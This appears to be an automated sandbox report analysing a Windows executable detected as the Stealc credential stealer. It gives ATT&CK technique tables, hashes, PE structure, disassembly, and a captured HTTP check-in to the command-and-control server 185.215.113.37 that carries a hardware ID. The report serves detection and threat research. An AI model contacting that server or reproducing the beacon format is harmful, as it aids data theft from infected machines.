Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	651 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2094357724.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37a	file.exe, 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525191
Start date and time:	2024-10-03 20:45:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	Setup.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947623190255442
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'802'752 bytes
MD5:	edecdb123ba6a0d389ff9b2993754c49
SHA1:	d27897486ab7cd802f52731b1e98b9b463854fc0
SHA256:	c1af8de0dbb010738eacb3fa66d5c3f1ea70ce1c480ac116ccd6bbfec781b1d1
SHA512:	aaea8500388d2a488108af455a9a6223fe17114132383604dcf9eeebe41f2366ec705880946fcf6103cba10970a7ca0944d9b55ec031f1206d306a434d08715c
SSDEEP:	24576:iylaOkFij3aXFCxSc792uD21ihKMI3xnjcDSX7Qyqrfy3vIfOb9hlbS53gQ:iylkFXcZ/DEihKMI3VjiSLYbFq90QQ
TLSH:	9185337A3FD69322C0EF7AB52FA6668A22B2CE3156F8589F1C04547C15471D8FB2B4C0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa87000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F57D4D990FAh
punpcklbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d7d1d63a7eb704a58b4820c0c9fec9c6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x296000	0x200	5da3d2ca74cf4b5d6e598dc4ca788149	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nqjulsar	0x4f4000	0x192000	0x191e00	18fff6a414eeedd80ed797fe1e38e779	False	0.9948356094479005	data	7.953541884791292	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
snoulpuy	0x686000	0x1000	0x600	aac337af25137a0e5d6d06219892447d	False	0.5540364583333334	data	4.936756454301773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x687000	0x3000	0x2200	9e77368093bca2c2c04615d569949c48	False	0.06583180147058823	DOS executable (COM)	0.7565841088042602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T20:46:02.261931+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 20:46:01.287861109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 3, 2024 20:46:01.292972088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 3, 2024 20:46:01.293071985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 3, 2024 20:46:01.293270111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 3, 2024 20:46:01.298510075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 3, 2024 20:46:02.028907061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 3, 2024 20:46:02.029037952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 3, 2024 20:46:02.031928062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 3, 2024 20:46:02.036823988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 3, 2024 20:46:02.261742115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 3, 2024 20:46:02.261930943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 3, 2024 20:46:04.884344101 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	5588	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:46:01.293270111 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 20:46:02.028907061 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:46:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 20:46:02.031928062 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 46 45 44 30 37 44 31 37 30 45 31 38 34 35 31 35 30 30 37 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"DDFED07D170E1845150070------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"doma------GIEBAECAKKFCBFIEGCBK--
Oct 3, 2024 20:46:02.261742115 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:46:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	14:45:57
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x460000
File size:	1'802'752 bytes
MD5 hash:	EDECDB123BA6A0D389FF9B2993754C49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2052957198.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00479860 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00E807C8), ref: 004798A1
GetProcAddress.KERNEL32(75900000,00E807F8), ref: 004798BA
GetProcAddress.KERNEL32(75900000,00E80810), ref: 004798D2
GetProcAddress.KERNEL32(75900000,00E805A0), ref: 004798EA
GetProcAddress.KERNEL32(75900000,00E80840), ref: 00479903
GetProcAddress.KERNEL32(75900000,00E88BA0), ref: 0047991B
GetProcAddress.KERNEL32(75900000,00E765C0), ref: 00479933
GetProcAddress.KERNEL32(75900000,00E762A0), ref: 0047994C
GetProcAddress.KERNEL32(75900000,00E806F0), ref: 00479964
GetProcAddress.KERNEL32(75900000,00E80648), ref: 0047997C
GetProcAddress.KERNEL32(75900000,00E80708), ref: 00479995
GetProcAddress.KERNEL32(75900000,00E80558), ref: 004799AD
GetProcAddress.KERNEL32(75900000,00E76480), ref: 004799C5
GetProcAddress.KERNEL32(75900000,00E80570), ref: 004799DE
GetProcAddress.KERNEL32(75900000,00E80588), ref: 004799F6
GetProcAddress.KERNEL32(75900000,00E763C0), ref: 00479A0E
GetProcAddress.KERNEL32(75900000,00E805B8), ref: 00479A27
GetProcAddress.KERNEL32(75900000,00E80870), ref: 00479A3F
GetProcAddress.KERNEL32(75900000,00E764C0), ref: 00479A57
GetProcAddress.KERNEL32(75900000,00E80888), ref: 00479A70
GetProcAddress.KERNEL32(75900000,00E76400), ref: 00479A88
LoadLibraryA.KERNEL32(00E80900,?,00476A00), ref: 00479A9A
LoadLibraryA.KERNEL32(00E808A0,?,00476A00), ref: 00479AAB
LoadLibraryA.KERNEL32(00E808E8,?,00476A00), ref: 00479ABD
LoadLibraryA.KERNEL32(00E808D0,?,00476A00), ref: 00479ACF
LoadLibraryA.KERNEL32(00E808B8,?,00476A00), ref: 00479AE0
GetProcAddress.KERNEL32(75070000,00E80918), ref: 00479B02
GetProcAddress.KERNEL32(75FD0000,00E80858), ref: 00479B23
GetProcAddress.KERNEL32(75FD0000,00E88DC0), ref: 00479B3B
GetProcAddress.KERNEL32(75A50000,00E88D00), ref: 00479B5D
GetProcAddress.KERNEL32(74E50000,00E76360), ref: 00479B7E
GetProcAddress.KERNEL32(76E80000,00E88A00), ref: 00479B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00479BB6

Strings

NtQueryInformationProcess, xrefs: 00479BAA
`c, xrefs: 00479B71

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess$`c
API String ID: 2238633743-1585215645
Opcode ID: a86a764a79c88195e6165f9bdd55aeda04ca4e3213eaf4f79ec1116cfda364e9
Instruction ID: 88bef62ee63f4bcc776bfdfc2886e82a53414849cead6942b7ce4c9a593b5ad2
Opcode Fuzzy Hash: a86a764a79c88195e6165f9bdd55aeda04ca4e3213eaf4f79ec1116cfda364e9
Instruction Fuzzy Hash: FCA12AB9500250AFD394FFE8ED88AA637FBF74B201714A61BE60583265D739B841CF52

Function 004645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0046460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0046479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004645C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004646C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004646B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004645F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004646AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004645D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004645DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004646D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004646CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004645E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00464678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0046474F

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
